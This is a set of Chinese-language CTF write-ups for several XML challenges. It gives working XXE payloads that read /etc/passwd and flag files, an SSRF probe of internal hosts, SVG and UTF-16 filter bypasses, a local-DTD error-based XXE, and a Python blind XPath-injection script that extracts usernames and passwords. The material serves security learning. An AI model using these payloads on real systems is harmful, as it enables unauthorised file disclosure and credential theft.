XML
[NCTF2019]True XML cookbook
抓包发现XXE,构造payload
<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///etc/passwd">]
>
<user><username>&name;</username><password>1</password></user>
通过/etc/host查看内网存活主机:
然后用bp爆破C段:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "http://10.34.239.11">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
拿到flag。
[BSidesCF 2019]SVGMagic
SVG是XMl的图片,换句话说SVG文件中能执行XXE
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
[CSAWQual 2019]Web_Unagi
显然是XML,但是存在过滤,这里用utf-16编码绕过
payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
然后在linux下执行转化命令
iconv -f utf8 -t utf-16 2.xml>1.xml
上传,拿flag,结束。
[GoogleCTF2019 Quals]Bnv
这是个使用本地DTD文件的XXE漏洞。
通常来说要是我们有个能引用外部实体的XXE,自然是想让它请求我们vps上的dtd来操作,但要是防火墙严点就出不去,只能用本地的dtd。
linux自带的dtd文件路径:/usr/share/yelp/dtd/docbookx.dtd
那么引用这个实体,因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。
payload:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
[NPUCTF2020]ezlogin
XPATH注入,长见识了
参考里说的很明白了,基本原理就是利用XPATH语法逐节点进行查询
payload(来自penson by 小乌)
import requests
import re
s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_username)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
出了后用admin登录,发现可能存在文件包含,利用大小写绕过直接用伪协议读flag即可。